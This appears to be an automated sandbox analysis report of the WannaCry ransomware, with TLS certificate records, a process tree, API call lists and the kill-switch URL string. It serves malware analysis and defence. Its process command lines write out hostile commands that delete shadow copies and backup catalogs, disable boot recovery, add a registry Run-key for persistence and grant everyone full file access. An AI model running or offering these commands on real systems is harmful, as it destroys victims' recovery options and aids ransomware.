May 12, 2017 18:54:27.180291891 CEST	443	49195	95.130.12.119	192.168.1.16	CN=www.nx6fem63plxi6et.net	CN=www.ahmoeakkg6wqpgzpaim.com	Sun Mar 19 01:00:00 CET 2017	Mon Oct 16 01:59:59 CEST 2017	[[ Version: V3 Subject: CN=www.nx6fem63plxi6et.net Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 1024 bits modulus: 166039757131007353978468688097798681485331428439975205063461910198820640958407954903539838665570875060077208757698505199342400146802980531840209644260603294063439927149581573977426693633520527390971409221569213439063986342825639198586195965076100440509478866125056621928026973875779186005158065063452795997311 public exponent: 65537 Validity: [From: Sun Mar 19 01:00:00 CET 2017, To: Mon Oct 16 01:59:59 CEST 2017] Issuer: CN=www.ahmoeakkg6wqpgzpaim.com SerialNumber: [ aaeaa4c4 4b26599b]] Algorithm: [SHA1withRSA] Signature:0000: 6F 5E 34 31 2E 39 04 C3 06 C0 46 8A 99 7D CE 86 o^41.9....F.....0010: 91 90 FB 3E A3 63 15 25 5B 79 A4 93 69 DA 22 E6 ...>.c.%[y..i.".0020: 06 39 07 47 99 D7 5E 3A FF EC 90 1F 7A 12 D2 24 .9.G..^:....z..$0030: 89 18 76 6C 45 A6 A8 5D BE 67 59 46 7E E3 D0 13 ..vlE..].gYF....0040: 4B 77 47 98 32 C4 44 DC 06 88 61 35 2B E4 E8 E5 KwG.2.D...a5+...0050: EE 20 F6 73 DF 79 BF CF 41 A5 B1 12 30 B8 42 70 . .s.y..A...0.Bp0060: 1B AE 81 CB 3D 82 D6 FB 1F FA 28 72 B3 70 11 77 ....=.....(r.p.w0070: CB 13 6C F7 F5 C6 91 56 B3 7C 32 2B EC C0 6C 87 ..l....V..2+..l.]
May 12, 2017 18:54:37.003830910 CEST	443	49197	85.235.250.88	192.168.1.16	CN=www.quob4edbiuwyav4.net	CN=www.377yrgafvm3.com	Sun Mar 19 01:00:00 CET 2017	Sat Jan 27 01:00:00 CET 2018	[[ Version: V3 Subject: CN=www.quob4edbiuwyav4.net Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 1024 bits modulus: 127573890830678738891906455615543784186389329788517161091316481410788849418160201702144994900435174475232231071684130197848822114425637455053240693548509828937694563531565236308508817730123622807011290645972321509012043722463695916774837201574798843008797206821416515768846794231015738288916529755248182122641 public exponent: 65537 Validity: [From: Sun Mar 19 01:00:00 CET 2017, To: Sat Jan 27 01:00:00 CET 2018] Issuer: CN=www.377yrgafvm3.com SerialNumber: [ efa7449e cb5827a5]] Algorithm: [SHA1withRSA] Signature:0000: 91 61 3D 62 89 E2 30 ED 09 14 58 9F D3 32 FC B5 .a=b..0...X..2..0010: 90 EE 3B B3 0F F3 A3 9C 2A 8C 60 B8 C5 BA 34 76 ..;.....*.`...4v0020: 76 A9 DF D5 DA 66 DF 0A 48 A1 40 95 38 E0 CA 01 v....f..H.@.8...0030: 25 39 75 57 88 6C 55 0B 8F 9F 78 06 56 9C 2E 60 %9uW.lU...x.V..`0040: E8 5B 41 3B ED 7C 30 94 E0 52 6D A9 EE 4A F7 ED .[A;..0..Rm..J..0050: D3 28 7D A8 D4 B5 4B C2 C2 D3 D4 53 18 52 70 48 .(....K....S.RpH0060: C5 78 62 64 B3 96 50 D9 C4 CA AD 90 AC 14 51 05 .xbd..P.......Q.0070: 61 5A E1 0A AC 22 BE 39 3B FA 91 55 91 8F DE 14 aZ...".9;..U....]
May 12, 2017 18:54:37.204504013 CEST	443	49197	85.235.250.88	192.168.1.16	CN=www.quob4edbiuwyav4.net	CN=www.377yrgafvm3.com	Sun Mar 19 01:00:00 CET 2017	Sat Jan 27 01:00:00 CET 2018	[[ Version: V3 Subject: CN=www.quob4edbiuwyav4.net Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 1024 bits modulus: 127573890830678738891906455615543784186389329788517161091316481410788849418160201702144994900435174475232231071684130197848822114425637455053240693548509828937694563531565236308508817730123622807011290645972321509012043722463695916774837201574798843008797206821416515768846794231015738288916529755248182122641 public exponent: 65537 Validity: [From: Sun Mar 19 01:00:00 CET 2017, To: Sat Jan 27 01:00:00 CET 2018] Issuer: CN=www.377yrgafvm3.com SerialNumber: [ efa7449e cb5827a5]] Algorithm: [SHA1withRSA] Signature:0000: 91 61 3D 62 89 E2 30 ED 09 14 58 9F D3 32 FC B5 .a=b..0...X..2..0010: 90 EE 3B B3 0F F3 A3 9C 2A 8C 60 B8 C5 BA 34 76 ..;.....*.`...4v0020: 76 A9 DF D5 DA 66 DF 0A 48 A1 40 95 38 E0 CA 01 v....f..H.@.8...0030: 25 39 75 57 88 6C 55 0B 8F 9F 78 06 56 9C 2E 60 %9uW.lU...x.V..`0040: E8 5B 41 3B ED 7C 30 94 E0 52 6D A9 EE 4A F7 ED .[A;..0..Rm..J..0050: D3 28 7D A8 D4 B5 4B C2 C2 D3 D4 53 18 52 70 48 .(....K....S.RpH0060: C5 78 62 64 B3 96 50 D9 C4 CA AD 90 AC 14 51 05 .xbd..P.......Q.0070: 61 5A E1 0A AC 22 BE 39 3B FA 91 55 91 8F DE 14 aZ...".9;..U....]

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: mssecsvc.exe PID: 3048 Parent PID: 2812

General

Start time:	18:54:12
Start date:	12/05/2017
Path:	C:\mssecsvc.exe
Wow64 process (32bit):	false
Commandline:	'C:\mssecsvc.exe'
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	DB349B97C37D22F5EA1D1841E3C89EB4
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: mssecsvc.exe PID: 3164 Parent PID: 444

General

Start time:	18:54:34
Start date:	12/05/2017
Path:	C:\mssecsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\mssecsvc.exe -m security
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	DB349B97C37D22F5EA1D1841E3C89EB4
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: tasksche.exe PID: 3216 Parent PID: 3048

General

Start time:	18:54:35
Start date:	12/05/2017
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	false
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x76e20000
File size:	3514368 bytes
MD5 hash:	84C82835A5D21BBCF75A61706D8AB549
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3232 Parent PID: 444

General

Start time:	18:54:36
Start date:	12/05/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c 'C:\ProgramData\ywepvofkuzu108\tasksche.exe'
Imagebase:	0x4a1a0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: tasksche.exe PID: 3240 Parent PID: 3232

General

Start time:	18:54:36
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\tasksche.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\ywepvofkuzu108\tasksche.exe
Imagebase:	0x400000
File size:	3514368 bytes
MD5 hash:	84C82835A5D21BBCF75A61706D8AB549
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: attrib.exe PID: 3248 Parent PID: 3240

General

Start time:	18:54:37
Start date:	12/05/2017
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h .
Imagebase:	0x3f0000
File size:	16384 bytes
MD5 hash:	459A5755AFBB1CB3E67CA4C1296599E3
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: icacls.exe PID: 3256 Parent PID: 3240

General

Start time:	18:54:37
Start date:	12/05/2017
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls . /grant Everyone:F /T /C /Q
Imagebase:	0xbf0000
File size:	27136 bytes
MD5 hash:	1542A92D5C6F7E1E80613F3466C9CE7F
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskdl.exe PID: 3320 Parent PID: 3240

General

Start time:	18:54:39
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\taskdl.exe
Wow64 process (32bit):	false
Commandline:	taskdl.exe
Imagebase:	0x400000
File size:	20480 bytes
MD5 hash:	4FEF5E34143E646DBF9907C4374276F5
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3336 Parent PID: 3240

General

Start time:	18:54:39
Start date:	12/05/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c 239891494608079.bat
Imagebase:	0x4a1a0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cscript.exe PID: 3356 Parent PID: 3336

General

Start time:	18:54:40
Start date:	12/05/2017
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	cscript.exe //nologo m.vbs
Imagebase:	0x250000
File size:	126976 bytes
MD5 hash:	A3A35EE79C64A640152B3113E6E254E2
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: @WanaDecryptor@.exe PID: 3408 Parent PID: 3240

General

Start time:	18:54:54
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Wow64 process (32bit):	false
Commandline:	@WanaDecryptor@.exe co
Imagebase:	0x71d90000
File size:	245760 bytes
MD5 hash:	7BF2B57F2A205768755C07F238FB32CC
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3416 Parent PID: 3240

General

Start time:	18:54:54
Start date:	12/05/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start /b @WanaDecryptor@.exe vs
Imagebase:	0x76e20000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: @WanaDecryptor@.exe PID: 3456 Parent PID: 3416

General

Start time:	18:54:58
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Wow64 process (32bit):	false
Commandline:	@WanaDecryptor@.exe vs
Imagebase:	0x400000
File size:	245760 bytes
MD5 hash:	7BF2B57F2A205768755C07F238FB32CC
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskhsvc.exe PID: 3500 Parent PID: 3408

General

Start time:	18:55:09
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe
Wow64 process (32bit):	false
Commandline:	TaskData\Tor\taskhsvc.exe
Imagebase:	0x1c0000
File size:	3098624 bytes
MD5 hash:	FE7EB54691AD6E6AF77F8A9A0B6DE26D
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskse.exe PID: 3516 Parent PID: 3240

General

Start time:	18:55:09
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\taskse.exe
Wow64 process (32bit):	false
Commandline:	taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Imagebase:	0x751a0000
File size:	20480 bytes
MD5 hash:	8495400F199AC77853C53B5A3F278F3E
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3528 Parent PID: 3240

General

Start time:	18:55:09
Start date:	12/05/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f
Imagebase:	0x4a790000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskdl.exe PID: 3548 Parent PID: 3240

General

Start time:	18:55:09
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\taskdl.exe
Wow64 process (32bit):	false
Commandline:	taskdl.exe
Imagebase:	0x400000
File size:	20480 bytes
MD5 hash:	4FEF5E34143E646DBF9907C4374276F5
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: @WanaDecryptor@.exe PID: 3568 Parent PID: 3516

General

Start time:	18:55:10
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Imagebase:	0x76e20000
File size:	245760 bytes
MD5 hash:	7BF2B57F2A205768755C07F238FB32CC
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exe PID: 3584 Parent PID: 3528

General

Start time:	18:55:11
Start date:	12/05/2017
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f
Imagebase:	0x76870000
File size:	62464 bytes
MD5 hash:	D69A9ABBB0D795F21995C2F48C1EB560
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3628 Parent PID: 3456

General

Start time:	18:55:18
Start date:	12/05/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Imagebase:	0x4a780000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: vssadmin.exe PID: 3660 Parent PID: 3628

General

Start time:	18:55:24
Start date:	12/05/2017
Path:	C:\Windows\System32\vssadmin.exe
Wow64 process (32bit):	false
Commandline:	vssadmin delete shadows /all /quiet
Imagebase:	0xd60000
File size:	115200 bytes
MD5 hash:	6E248A3D528EDE43994457CF417BD665
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WMIC.exe PID: 3776 Parent PID: 3628

General

Start time:	18:55:35
Start date:	12/05/2017
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic shadowcopy delete
Imagebase:	0x768d0000
File size:	395776 bytes
MD5 hash:	A03CF3838775E0801A0894C8BACD2E56
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: bcdedit.exe PID: 3804 Parent PID: 3628

General

Start time:	18:55:36
Start date:	12/05/2017
Path:	C:\Windows\System32\bcdedit.exe
Wow64 process (32bit):	false
Commandline:	bcdedit /set {default} bootstatuspolicy ignoreallfailures
Imagebase:	0x220000
File size:	295936 bytes
MD5 hash:	ABD373E82F6240031C1E631AA20711C7
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: bcdedit.exe PID: 3812 Parent PID: 3628

General

Start time:	18:55:37
Start date:	12/05/2017
Path:	C:\Windows\System32\bcdedit.exe
Wow64 process (32bit):	false
Commandline:	bcdedit /set {default} recoveryenabled no
Imagebase:	0x5c0000
File size:	295936 bytes
MD5 hash:	ABD373E82F6240031C1E631AA20711C7
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: wbadmin.exe PID: 3824 Parent PID: 3628

General

Start time:	18:55:38
Start date:	12/05/2017
Path:	C:\Windows\System32\wbadmin.exe
Wow64 process (32bit):	false
Commandline:	wbadmin delete catalog -quiet
Imagebase:	0xf20000
File size:	224768 bytes
MD5 hash:	EAB630E7E6A7FC248870A2FCDC098B98
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: wbengine.exe PID: 3872 Parent PID: 444

General

Start time:	18:55:39
Start date:	12/05/2017
Path:	C:\Windows\System32\wbengine.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbengine.exe
Imagebase:	0x190000
File size:	1203200 bytes
MD5 hash:	691E3285E53DCA558E1A84667F13E15A
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskdl.exe PID: 3900 Parent PID: 3240

General

Start time:	18:55:41
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\taskdl.exe
Wow64 process (32bit):	false
Commandline:	taskdl.exe
Imagebase:	0x400000
File size:	20480 bytes
MD5 hash:	4FEF5E34143E646DBF9907C4374276F5
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskse.exe PID: 3908 Parent PID: 3240

General

Start time:	18:55:42
Start date:	12/05/2017
Path:	C:\ProgramData\ywepvofkuzu108\taskse.exe
Wow64 process (32bit):	false
Commandline:	taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Imagebase:	0x400000
File size:	20480 bytes
MD5 hash:	8495400F199AC77853C53B5A3F278F3E
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: vdsldr.exe PID: 3928 Parent PID: 556

General

Start time:	18:55:43
Start date:	12/05/2017
Path:	C:\Windows\System32\vdsldr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vdsldr.exe -Embedding
Imagebase:	0x8b0000
File size:	19968 bytes
MD5 hash:	A2551668C78CEA4089D71A0A3B36FC0C
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: mssecsvc.exe PID: 3048 Parent PID: 2812

Execution Graph

Execution Coverage:	30.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	62.5%
Total number of Nodes:	40
Total number of Limit Nodes:	1

Executed Functions

Function 00409A16, Relevance: 16.6, APIs: 11, Instructions: 111

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92

Part of subcall function 00409B8C: _controlfp.MSVCRT ref: 00409B96

_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E

Part of subcall function 00408140: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
Part of subcall function 00408140: InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
Part of subcall function 00408140: InternetCloseHandle.WININET(00000000), ref: 004081A7
Part of subcall function 00408140: InternetCloseHandle.WININET(00000000), ref: 004081AB
Part of subcall function 00408140: InternetCloseHandle.WININET(00000000), ref: 004081BC
Part of subcall function 00408140: InternetCloseHandle.WININET(00000000), ref: 004081BF

exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000000.00000002.1609849577.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1609823698.00400000.00000002.sdmp
Associated: 00000000.00000002.1609868461.0040A000.00000002.sdmp
Associated: 00000000.00000002.1609889626.0040B000.00000008.sdmp
Associated: 00000000.00000002.1609917463.00431000.00000004.sdmp
Associated: 00000000.00000002.1610304837.00710000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mssecsvc.jbxd

Function 00408140, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5
Part of subcall function 00408090: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
Part of subcall function 00408090: OpenServiceA.ADVAPI32(00000000,mssecsvc2.0,000F01FF,77181E70,00000000,?,004081B2), ref: 004080DC
Part of subcall function 00408090: CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
Part of subcall function 00408090: CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
Part of subcall function 00408090: StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

InternetCloseHandle.WININET(00000000), ref: 004081BC
InternetCloseHandle.WININET(00000000), ref: 004081BF

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000000.00000002.1609849577.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1609823698.00400000.00000002.sdmp
Associated: 00000000.00000002.1609868461.0040A000.00000002.sdmp
Associated: 00000000.00000002.1609889626.0040B000.00000008.sdmp
Associated: 00000000.00000002.1609917463.00431000.00000004.sdmp
Associated: 00000000.00000002.1610304837.00710000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mssecsvc.jbxd

Non-executed Functions

Function 00407CE0, Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,77181E70,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA,?,00000000), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA,?,00000000), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile,?,00000000), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle,?,00000000), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00407E2C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00407E61
CloseHandle.KERNEL32(00000000), ref: 00407E68
CreateProcessA.KERNEL32 ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

WriteFile, xrefs: 00407D1C
CreateFileA, xrefs: 00407D0F
D, xrefs: 00407ED3
C:\%s\qeriuwjhrf, xrefs: 00407E12
kernel32.dll, xrefs: 00407CEA
CreateProcessA, xrefs: 00407D07
C:\%s\%s, xrefs: 00407DFB
tasksche.exe, xrefs: 00407DEA
WINDOWS, xrefs: 00407DF2, 00407E0D
/i, xrefs: 00407E8D
CloseHandle, xrefs: 00407D29

Memory Dump Source

Source File: 00000000.00000002.1609849577.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1609823698.00400000.00000002.sdmp
Associated: 00000000.00000002.1609868461.0040A000.00000002.sdmp
Associated: 00000000.00000002.1609889626.0040B000.00000008.sdmp
Associated: 00000000.00000002.1609917463.00431000.00000004.sdmp
Associated: 00000000.00000002.1610304837.00710000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mssecsvc.jbxd

Function 00407C40, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.0,Microsoft Security Center (2.0) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,77181E70,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

%s -m security, xrefs: 00407C50
Microsoft Security Center (2.0) Service, xrefs: 00407C90
mssecsvc2.0, xrefs: 00407C95

Memory Dump Source

Source File: 00000000.00000002.1609849577.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1609823698.00400000.00000002.sdmp
Associated: 00000000.00000002.1609868461.0040A000.00000002.sdmp
Associated: 00000000.00000002.1609889626.0040B000.00000008.sdmp
Associated: 00000000.00000002.1609917463.00431000.00000004.sdmp
Associated: 00000000.00000002.1610304837.00710000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mssecsvc.jbxd

Function 00408090, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.0,000F01FF,77181E70,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD

Part of subcall function 00407FA0: ChangeServiceConfig2A.ADVAPI32(?,00000002,00000000), ref: 00407FF4

CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.0, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000000.00000002.1609849577.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1609823698.00400000.00000002.sdmp
Associated: 00000000.00000002.1609868461.0040A000.00000002.sdmp
Associated: 00000000.00000002.1609889626.0040B000.00000008.sdmp
Associated: 00000000.00000002.1609917463.00431000.00000004.sdmp
Associated: 00000000.00000002.1610304837.00710000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mssecsvc.jbxd

Function 00407FA0, Relevance: 1.5, APIs: 1, Instructions: 26

APIs

ChangeServiceConfig2A.ADVAPI32(?,00000002,00000000), ref: 00407FF4

Memory Dump Source

Source File: 00000000.00000002.1609849577.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1609823698.00400000.00000002.sdmp
Associated: 00000000.00000002.1609868461.0040A000.00000002.sdmp
Associated: 00000000.00000002.1609889626.0040B000.00000008.sdmp
Associated: 00000000.00000002.1609917463.00431000.00000004.sdmp
Associated: 00000000.00000002.1610304837.00710000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mssecsvc.jbxd

Analysis Process: tasksche.exe PID: 3216 Parent PID: 3048

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	638
Total number of Limit Nodes:	6

Executed Functions

Function 00401CE8, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 75

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?), ref: 00401CFE
OpenServiceA.ADVAPI32(00000000,ywepvofkuzu108,000F01FF,tasksche.exe,00000000), ref: 00401D21
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
sprintf.MSVCRT ref: 00401D54
CreateServiceA.ADVAPI32(?,ywepvofkuzu108,ywepvofkuzu108,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000), ref: 00401D75
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D84
CloseServiceHandle.ADVAPI32(00000000), ref: 00401D8B
CloseServiceHandle.ADVAPI32(?), ref: 00401D9E

Strings

tasksche.exe, xrefs: 00401D13
ywepvofkuzu108, xrefs: 00401D19, 00401D1F, 00401D70, 00401D71
cmd.exe /c "%s", xrefs: 00401D4E

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401FE7, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 132

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040201F

Part of subcall function 00401225: GetComputerNameW.KERNEL32(?,0000018F), ref: 0040125F
Part of subcall function 00401225: wcslen.MSVCRT ref: 00401279
Part of subcall function 00401225: wcslen.MSVCRT ref: 00401298
Part of subcall function 00401225: srand.MSVCRT ref: 004012A1
Part of subcall function 00401225: rand.MSVCRT ref: 004012AE
Part of subcall function 00401225: rand.MSVCRT ref: 004012C0
Part of subcall function 00401225: rand.MSVCRT ref: 004012DD

__p___argc.MSVCRT ref: 00402030
__p___argv.MSVCRT ref: 00402040
strcmp.MSVCRT ref: 0040204B

Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,ywepvofkuzu108,000000FF,?,00000063,?), ref: 00401BCA
Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
